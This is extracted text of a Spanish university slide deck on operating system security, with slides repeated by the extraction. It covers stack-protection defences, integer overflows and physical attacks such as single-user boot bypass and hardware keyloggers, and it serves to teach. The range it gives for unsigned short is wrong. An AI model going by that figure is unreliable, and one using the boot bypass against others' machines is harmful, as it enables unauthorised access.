Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Intro a la defensa: Tipos
Soportados por el S.O.:
Antes: Direcciones virtuales fijas en tiempo de compilaci´on
Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente
Soportadas en compiladores:
Para Visual C++ en Windows: /GS, /SafeSEH
Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1:
-fstack-protector-all)
Soportadas por el HW + S.O.: No eXecute (NX)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Intro a la defensa: Tipos
Soportados por el S.O.:
Antes: Direcciones virtuales fijas en tiempo de compilaci´on
Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente
Soportadas en compiladores:
Para Visual C++ en Windows: /GS, /SafeSEH
Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1:
-fstack-protector-all)
Soportadas por el HW + S.O.: No eXecute (NX)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Intro a la defensa: Tipos
Soportados por el S.O.:
Antes: Direcciones virtuales fijas en tiempo de compilaci´on
Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente
Soportadas en compiladores:
Para Visual C++ en Windows: /GS, /SafeSEH
Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1:
-fstack-protector-all)
Soportadas por el HW + S.O.: No eXecute (NX)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en Windows
Hasta el XP: Nada
A partir del XP se usa una cookie para detectar
desbordamientos en la pila
A partir del Vista Beta 2, se usa: ASLR (Address Space
Layout Randomization)
OJO: Cambian en cada reinicio del sistema
OJO: Rango de margen: 256 bytes
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en Windows
Hasta el XP: Nada
A partir del XP se usa una cookie para detectar
desbordamientos en la pila
A partir del Vista Beta 2, se usa: ASLR (Address Space
Layout Randomization)
OJO: Cambian en cada reinicio del sistema
OJO: Rango de margen: 256 bytes
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en Windows
Hasta el XP: Nada
A partir del XP se usa una cookie para detectar
desbordamientos en la pila
A partir del Vista Beta 2, se usa: ASLR (Address Space
Layout Randomization)
OJO: Cambian en cada reinicio del sistema
OJO: Rango de margen: 256 bytes
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en Windows
Hasta el XP: Nada
A partir del XP se usa una cookie para detectar
desbordamientos en la pila
A partir del Vista Beta 2, se usa: ASLR (Address Space
Layout Randomization)
OJO: Cambian en cada reinicio del sistema
OJO: Rango de margen: 256 bytes
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en GNU/Linux
En la versi´on 2.6.11 se introduce VA Space Randomization
Cambian las direcciones del ejecutable y las librer´ıas din´amicas
vinculadas en cada carga del programa
Rango de margen: 8 MB
En la versi´on 2.6.25 se introduce la aleatorizaci´on de
direcciones virtuales del mont´ıculo (“heap”)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en GNU/Linux
En la versi´on 2.6.11 se introduce VA Space Randomization
Cambian las direcciones del ejecutable y las librer´ıas din´amicas
vinculadas en cada carga del programa
Rango de margen: 8 MB
En la versi´on 2.6.25 se introduce la aleatorizaci´on de
direcciones virtuales del mont´ıculo (“heap”)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Defensa en GNU/Linux
En la versi´on 2.6.11 se introduce VA Space Randomization
Cambian las direcciones del ejecutable y las librer´ıas din´amicas
vinculadas en cada carga del programa
Rango de margen: 8 MB
En la versi´on 2.6.25 se introduce la aleatorizaci´on de
direcciones virtuales del mont´ıculo (“heap”)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Desbordamientos de enteros
“Integer Overflow”
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Tipos num´ericos y su rango en C
(Signed) char [-128, 127]
Unsigned char [0, 255]
(Signed short) [-32768, 32767]
Unsigned short [0, 4294967295]
(Signed) integer [-2147483648, 2147483647]
Unsigned integer [0, 4294967295]
OJO integer = long en CPU de 32 bits!
(Signed) long long [-9223372036854775808,
9223372036854775807]
Unsigned long long [0, 18446744073709551615]
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Tipos num´ericos y su rango en C
(Signed) char [-128, 127]
Unsigned char [0, 255]
(Signed short) [-32768, 32767]
Unsigned short [0, 4294967295]
(Signed) integer [-2147483648, 2147483647]
Unsigned integer [0, 4294967295]
OJO integer = long en CPU de 32 bits!
(Signed) long long [-9223372036854775808,
9223372036854775807]
Unsigned long long [0, 18446744073709551615]
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Tipos num´ericos y su rango en C
(Signed) char [-128, 127]
Unsigned char [0, 255]
(Signed short) [-32768, 32767]
Unsigned short [0, 4294967295]
(Signed) integer [-2147483648, 2147483647]
Unsigned integer [0, 4294967295]
OJO integer = long en CPU de 32 bits!
(Signed) long long [-9223372036854775808,
9223372036854775807]
Unsigned long long [0, 18446744073709551615]
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Ejemplo
long long max_quota= 2147483647+1; // Overflow?
int current_quota= get_quota(user); // Overflow?
if (current_quota > max_quota) {
printf(‘‘Quota exceeded.‘‘);
_exit(0);
}
Vpopmail/QmailAdmin:
http://www.sofistic.net/es/advisories/0901
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Ejemplo
long long max_quota= 2147483647+1; // Overflow?
int current_quota= get_quota(user); // Overflow?
if (current_quota > max_quota) {
printf(‘‘Quota exceeded.‘‘);
_exit(0);
}
Vpopmail/QmailAdmin:
http://www.sofistic.net/es/advisories/0901
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad F´ısica
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el arranque del sistema
Linux bootloaders: Grub y LILO single
Macintosh Command + s
(http://support.apple.com/kb/HT1492)
¿Defensa?
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el arranque del sistema
Linux bootloaders: Grub y LILO single
Macintosh Command + s
(http://support.apple.com/kb/HT1492)
¿Defensa?
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el arranque del sistema
Linux bootloaders: Grub y LILO single
Macintosh Command + s
(http://support.apple.com/kb/HT1492)
¿Defensa?
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el arranque del sistema
Linux bootloaders: Grub y LILO single
Macintosh Command + s
(http://support.apple.com/kb/HT1492)
¿Defensa?
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el arranque del sistema
Linux bootloaders: Grub y LILO single
Macintosh Command + s
(http://support.apple.com/kb/HT1492)
¿Defensa?
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el entorno: Keyloggers
$54.95
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el entorno: Keyloggers
$89.99
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el entorno: Efecto Tempest
Fuente: http://www.cl.cam.ac.uk/ mgk25/pet2004-fpd.pdf
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Seguridad en el sistema: Cifrado de datos/particiones
OpenSSL
LUKS
TrueCrypt
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
$ kill -9 $$
Jacobo Avariento Seguridad en Sistemas Operativos

Más contenido relacionado

La actualidad más candente

Alberto García de Dios - Virus, el arte no debería ser negocio [Rooted CON 2011]
Alberto García de Dios - Virus, el arte no debería ser negocio [Rooted CON 2011]Alberto García de Dios - Virus, el arte no debería ser negocio [Rooted CON 2011]
Alberto García de Dios - Virus, el arte no debería ser negocio [Rooted CON 2011]RootedCON
 
Alfonso Muñoz - Reviving Homograph attacks using (deep learning) steroids [ro...
Alfonso Muñoz - Reviving Homograph attacks using (deep learning) steroids [ro...Alfonso Muñoz - Reviving Homograph attacks using (deep learning) steroids [ro...
Alfonso Muñoz - Reviving Homograph attacks using (deep learning) steroids [ro...RootedCON
 
David Reguera & Yago Jesus - Rootkit Busters ES [rooted2019]
David Reguera & Yago Jesus - Rootkit Busters ES [rooted2019]David Reguera & Yago Jesus - Rootkit Busters ES [rooted2019]
David Reguera & Yago Jesus - Rootkit Busters ES [rooted2019]RootedCON
 
Joaquín Moreno Garijo – Forense a bajo nivel en Mac OS X [Rooted CON 2014]
Joaquín Moreno Garijo – Forense a bajo nivel en Mac OS X [Rooted CON 2014]Joaquín Moreno Garijo – Forense a bajo nivel en Mac OS X [Rooted CON 2014]
Joaquín Moreno Garijo – Forense a bajo nivel en Mac OS X [Rooted CON 2014]RootedCON
 
introduccion linux
introduccion linuxintroduccion linux
introduccion linuxj3nnn1
 
Presentacion re y_des_09072003
Presentacion re y_des_09072003Presentacion re y_des_09072003
Presentacion re y_des_09072003Alonso Caballero
 
Extendiendo la seguridad en Elastix con Snort IDS/IPS
Extendiendo la seguridad en Elastix con Snort IDS/IPSExtendiendo la seguridad en Elastix con Snort IDS/IPS
Extendiendo la seguridad en Elastix con Snort IDS/IPSPaloSanto Solutions
 
David López Paz - Global Warfare [RootedCON 2011]
David López Paz - Global Warfare [RootedCON 2011]David López Paz - Global Warfare [RootedCON 2011]
David López Paz - Global Warfare [RootedCON 2011]RootedCON
 
Lw2010 - Uso De La Programacion En Linux Para La Seguridad En Redes
Lw2010 - Uso De La Programacion En Linux Para La Seguridad En RedesLw2010 - Uso De La Programacion En Linux Para La Seguridad En Redes
Lw2010 - Uso De La Programacion En Linux Para La Seguridad En Redesguest5d7f33c
 
Tecnologías libres para túneles y VPNs
Tecnologías libres para túneles y VPNsTecnologías libres para túneles y VPNs
Tecnologías libres para túneles y VPNsRodolfo Pilas
 
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]RootedCON
 
Antonio López & Javier Medina - FuckWALL - Bypassing firewalls [RootedCON 2010]
Antonio López & Javier Medina - FuckWALL - Bypassing firewalls [RootedCON 2010]Antonio López & Javier Medina - FuckWALL - Bypassing firewalls [RootedCON 2010]
Antonio López & Javier Medina - FuckWALL - Bypassing firewalls [RootedCON 2010]RootedCON
 
Diferentes tipos de socket y slot para conectar el procesador a la placa base
Diferentes tipos de socket y slot para conectar el procesador a la placa baseDiferentes tipos de socket y slot para conectar el procesador a la placa base
Diferentes tipos de socket y slot para conectar el procesador a la placa basefabio guevara
 

La actualidad más candente (19)

Alberto García de Dios - Virus, el arte no debería ser negocio [Rooted CON 2011]
Alberto García de Dios - Virus, el arte no debería ser negocio [Rooted CON 2011]Alberto García de Dios - Virus, el arte no debería ser negocio [Rooted CON 2011]
Alberto García de Dios - Virus, el arte no debería ser negocio [Rooted CON 2011]
 
Alfonso Muñoz - Reviving Homograph attacks using (deep learning) steroids [ro...
Alfonso Muñoz - Reviving Homograph attacks using (deep learning) steroids [ro...Alfonso Muñoz - Reviving Homograph attacks using (deep learning) steroids [ro...
Alfonso Muñoz - Reviving Homograph attacks using (deep learning) steroids [ro...
 
David Reguera & Yago Jesus - Rootkit Busters ES [rooted2019]
David Reguera & Yago Jesus - Rootkit Busters ES [rooted2019]David Reguera & Yago Jesus - Rootkit Busters ES [rooted2019]
David Reguera & Yago Jesus - Rootkit Busters ES [rooted2019]
 
Gestión Remota de Equipos con Python
Gestión Remota de Equipos con PythonGestión Remota de Equipos con Python
Gestión Remota de Equipos con Python
 
Curso linux clase_2_2012
Curso linux clase_2_2012Curso linux clase_2_2012
Curso linux clase_2_2012
 
Clase no5 acceso
Clase no5 accesoClase no5 acceso
Clase no5 acceso
 
Kali linux guia español
Kali linux guia españolKali linux guia español
Kali linux guia español
 
Joaquín Moreno Garijo – Forense a bajo nivel en Mac OS X [Rooted CON 2014]
Joaquín Moreno Garijo – Forense a bajo nivel en Mac OS X [Rooted CON 2014]Joaquín Moreno Garijo – Forense a bajo nivel en Mac OS X [Rooted CON 2014]
Joaquín Moreno Garijo – Forense a bajo nivel en Mac OS X [Rooted CON 2014]
 
introduccion linux
introduccion linuxintroduccion linux
introduccion linux
 
Presentacion re y_des_09072003
Presentacion re y_des_09072003Presentacion re y_des_09072003
Presentacion re y_des_09072003
 
Extendiendo la seguridad en Elastix con Snort IDS/IPS
Extendiendo la seguridad en Elastix con Snort IDS/IPSExtendiendo la seguridad en Elastix con Snort IDS/IPS
Extendiendo la seguridad en Elastix con Snort IDS/IPS
 
David López Paz - Global Warfare [RootedCON 2011]
David López Paz - Global Warfare [RootedCON 2011]David López Paz - Global Warfare [RootedCON 2011]
David López Paz - Global Warfare [RootedCON 2011]
 
Nikto
Nikto Nikto
Nikto
 
Lw2010 - Uso De La Programacion En Linux Para La Seguridad En Redes
Lw2010 - Uso De La Programacion En Linux Para La Seguridad En RedesLw2010 - Uso De La Programacion En Linux Para La Seguridad En Redes
Lw2010 - Uso De La Programacion En Linux Para La Seguridad En Redes
 
Tecnologías libres para túneles y VPNs
Tecnologías libres para túneles y VPNsTecnologías libres para túneles y VPNs
Tecnologías libres para túneles y VPNs
 
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]
 
Antonio López & Javier Medina - FuckWALL - Bypassing firewalls [RootedCON 2010]
Antonio López & Javier Medina - FuckWALL - Bypassing firewalls [RootedCON 2010]Antonio López & Javier Medina - FuckWALL - Bypassing firewalls [RootedCON 2010]
Antonio López & Javier Medina - FuckWALL - Bypassing firewalls [RootedCON 2010]
 
Diferentes tipos de socket y slot para conectar el procesador a la placa base
Diferentes tipos de socket y slot para conectar el procesador a la placa baseDiferentes tipos de socket y slot para conectar el procesador a la placa base
Diferentes tipos de socket y slot para conectar el procesador a la placa base
 
Firewall y nat
Firewall y natFirewall y nat
Firewall y nat
 

Similar a Seguridad so pi_2011

Juan Oliva - Seguridad Preventiva y Reactiva en VoIP
Juan Oliva - Seguridad Preventiva y Reactiva en VoIPJuan Oliva - Seguridad Preventiva y Reactiva en VoIP
Juan Oliva - Seguridad Preventiva y Reactiva en VoIPElastixCom
 
Evasión de Técnicas Forenses
Evasión de Técnicas ForensesEvasión de Técnicas Forenses
Evasión de Técnicas ForensesConferencias FIST
 
Linux Kernel - System Calls - Modules - Drivers
Linux Kernel - System Calls - Modules - DriversLinux Kernel - System Calls - Modules - Drivers
Linux Kernel - System Calls - Modules - DriversMartin Baez
 
Metasploit - Bypass UAC fodhelper [Post-explotación]
Metasploit - Bypass UAC fodhelper [Post-explotación]Metasploit - Bypass UAC fodhelper [Post-explotación]
Metasploit - Bypass UAC fodhelper [Post-explotación]Adrián Lois
 
Introducción a Kali Linux
Introducción a Kali LinuxIntroducción a Kali Linux
Introducción a Kali LinuxFrancisco Medina
 
Gestión de vulnerabilidades de seguridad en desarrollos electrónicos basados ...
Gestión de vulnerabilidades de seguridad en desarrollos electrónicos basados ...Gestión de vulnerabilidades de seguridad en desarrollos electrónicos basados ...
Gestión de vulnerabilidades de seguridad en desarrollos electrónicos basados ...Jorge Sainz Raso
 
Construyendo rootkits basicos
Construyendo rootkits basicosConstruyendo rootkits basicos
Construyendo rootkits basicosTensor
 
Extendiendo la Seguridad de Elastix con Snort
Extendiendo la Seguridad de Elastix con SnortExtendiendo la Seguridad de Elastix con Snort
Extendiendo la Seguridad de Elastix con SnortJuan Oliva
 
CAPITULO-2-2011
CAPITULO-2-2011CAPITULO-2-2011
CAPITULO-2-2011ULEAM
 
Caso de estudio No.1: Heartbleed y Shellshock
Caso de estudio No.1: Heartbleed y ShellshockCaso de estudio No.1: Heartbleed y Shellshock
Caso de estudio No.1: Heartbleed y ShellshockFrancisco Medina
 
Webinar Gratuito: Analisis Forense a Linux
Webinar Gratuito: Analisis Forense a LinuxWebinar Gratuito: Analisis Forense a Linux
Webinar Gratuito: Analisis Forense a LinuxAlonso Caballero
 
Introducción al cracking en GNU/Linux
Introducción al cracking en GNU/LinuxIntroducción al cracking en GNU/Linux
Introducción al cracking en GNU/Linuxguest45ed91
 
Cómo crear tus propios drivers para linux
Cómo crear tus propios drivers para linuxCómo crear tus propios drivers para linux
Cómo crear tus propios drivers para linuxjorge
 
Presentacion de Linux
Presentacion de LinuxPresentacion de Linux
Presentacion de Linuxrvarguez
 
Curso Linux Reducido
Curso Linux ReducidoCurso Linux Reducido
Curso Linux Reducidorvarguez
 

Similar a Seguridad so pi_2011 (20)

Seguridad so pii_2011
Seguridad so pii_2011Seguridad so pii_2011
Seguridad so pii_2011
 
Juan Oliva - Seguridad Preventiva y Reactiva en VoIP
Juan Oliva - Seguridad Preventiva y Reactiva en VoIPJuan Oliva - Seguridad Preventiva y Reactiva en VoIP
Juan Oliva - Seguridad Preventiva y Reactiva en VoIP
 
Evasión de Técnicas Forenses
Evasión de Técnicas ForensesEvasión de Técnicas Forenses
Evasión de Técnicas Forenses
 
Linux Kernel - System Calls - Modules - Drivers
Linux Kernel - System Calls - Modules - DriversLinux Kernel - System Calls - Modules - Drivers
Linux Kernel - System Calls - Modules - Drivers
 
Metasploit - Bypass UAC fodhelper [Post-explotación]
Metasploit - Bypass UAC fodhelper [Post-explotación]Metasploit - Bypass UAC fodhelper [Post-explotación]
Metasploit - Bypass UAC fodhelper [Post-explotación]
 
Analaisis de malwatre trickbot - mp alonso
Analaisis de malwatre   trickbot - mp alonsoAnalaisis de malwatre   trickbot - mp alonso
Analaisis de malwatre trickbot - mp alonso
 
Sistema linux
Sistema linuxSistema linux
Sistema linux
 
Introducción a Kali Linux
Introducción a Kali LinuxIntroducción a Kali Linux
Introducción a Kali Linux
 
Gestión de vulnerabilidades de seguridad en desarrollos electrónicos basados ...
Gestión de vulnerabilidades de seguridad en desarrollos electrónicos basados ...Gestión de vulnerabilidades de seguridad en desarrollos electrónicos basados ...
Gestión de vulnerabilidades de seguridad en desarrollos electrónicos basados ...
 
Construyendo rootkits basicos
Construyendo rootkits basicosConstruyendo rootkits basicos
Construyendo rootkits basicos
 
Extendiendo la Seguridad de Elastix con Snort
Extendiendo la Seguridad de Elastix con SnortExtendiendo la Seguridad de Elastix con Snort
Extendiendo la Seguridad de Elastix con Snort
 
CAPITULO-2-2011
CAPITULO-2-2011CAPITULO-2-2011
CAPITULO-2-2011
 
Presentacion eduin gonzalez
Presentacion eduin gonzalezPresentacion eduin gonzalez
Presentacion eduin gonzalez
 
Caso de estudio No.1: Heartbleed y Shellshock
Caso de estudio No.1: Heartbleed y ShellshockCaso de estudio No.1: Heartbleed y Shellshock
Caso de estudio No.1: Heartbleed y Shellshock
 
Webinar Gratuito: Analisis Forense a Linux
Webinar Gratuito: Analisis Forense a LinuxWebinar Gratuito: Analisis Forense a Linux
Webinar Gratuito: Analisis Forense a Linux
 
Introducción al cracking en GNU/Linux
Introducción al cracking en GNU/LinuxIntroducción al cracking en GNU/Linux
Introducción al cracking en GNU/Linux
 
Cómo crear tus propios drivers para linux
Cómo crear tus propios drivers para linuxCómo crear tus propios drivers para linux
Cómo crear tus propios drivers para linux
 
Presentacion de Linux
Presentacion de LinuxPresentacion de Linux
Presentacion de Linux
 
Curso Linux Reducido
Curso Linux ReducidoCurso Linux Reducido
Curso Linux Reducido
 
Opensolaris flisol
Opensolaris flisolOpensolaris flisol
Opensolaris flisol
 

Último

KELA Presentacion Costa Rica 2024 - evento Protégeles
KELA Presentacion Costa Rica 2024 - evento ProtégelesKELA Presentacion Costa Rica 2024 - evento Protégeles
KELA Presentacion Costa Rica 2024 - evento ProtégelesFundación YOD YOD
 
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE  DE TECNOLOGIA E INFORMATICA PRIMARIACLASE  DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIAWilbisVega
 
Trabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíaTrabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíassuserf18419
 
La era de la educación digital y sus desafios
La era de la educación digital y sus desafiosLa era de la educación digital y sus desafios
La era de la educación digital y sus desafiosFundación YOD YOD
 
Plan de aula informatica segundo periodo.docx
Plan de aula informatica segundo periodo.docxPlan de aula informatica segundo periodo.docx
Plan de aula informatica segundo periodo.docxpabonheidy28
 
International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)GDGSucre
 
Redes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdfRedes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdfsoporteupcology
 
guía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Josephguía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan JosephBRAYANJOSEPHPEREZGOM
 
Cortes-24-de-abril-Tungurahua-3 año 2024
Cortes-24-de-abril-Tungurahua-3 año 2024Cortes-24-de-abril-Tungurahua-3 año 2024
Cortes-24-de-abril-Tungurahua-3 año 2024GiovanniJavierHidalg
 
9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudiante9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudianteAndreaHuertas24
 
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricGlobal Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricKeyla Dolores Méndez
 
trabajotecologiaisabella-240424003133-8f126965.pdf
trabajotecologiaisabella-240424003133-8f126965.pdftrabajotecologiaisabella-240424003133-8f126965.pdf
trabajotecologiaisabella-240424003133-8f126965.pdfIsabellaMontaomurill
 
Proyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptxProyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptx241521559
 
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...silviayucra2
 
Hernandez_Hernandez_Practica web de la sesion 12.pptx
Hernandez_Hernandez_Practica web de la sesion 12.pptxHernandez_Hernandez_Practica web de la sesion 12.pptx
Hernandez_Hernandez_Practica web de la sesion 12.pptxJOSEMANUELHERNANDEZH11
 
EPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveEPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveFagnerLisboa3
 

Último (16)

KELA Presentacion Costa Rica 2024 - evento Protégeles
KELA Presentacion Costa Rica 2024 - evento ProtégelesKELA Presentacion Costa Rica 2024 - evento Protégeles
KELA Presentacion Costa Rica 2024 - evento Protégeles
 
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE  DE TECNOLOGIA E INFORMATICA PRIMARIACLASE  DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIA
 
Trabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíaTrabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnología
 
La era de la educación digital y sus desafios
La era de la educación digital y sus desafiosLa era de la educación digital y sus desafios
La era de la educación digital y sus desafios
 
Plan de aula informatica segundo periodo.docx
Plan de aula informatica segundo periodo.docxPlan de aula informatica segundo periodo.docx
Plan de aula informatica segundo periodo.docx
 
International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)
 
Redes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdfRedes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdf
 
guía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Josephguía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Joseph
 
Cortes-24-de-abril-Tungurahua-3 año 2024
Cortes-24-de-abril-Tungurahua-3 año 2024Cortes-24-de-abril-Tungurahua-3 año 2024
Cortes-24-de-abril-Tungurahua-3 año 2024
 
9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudiante9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudiante
 
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricGlobal Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
 
trabajotecologiaisabella-240424003133-8f126965.pdf
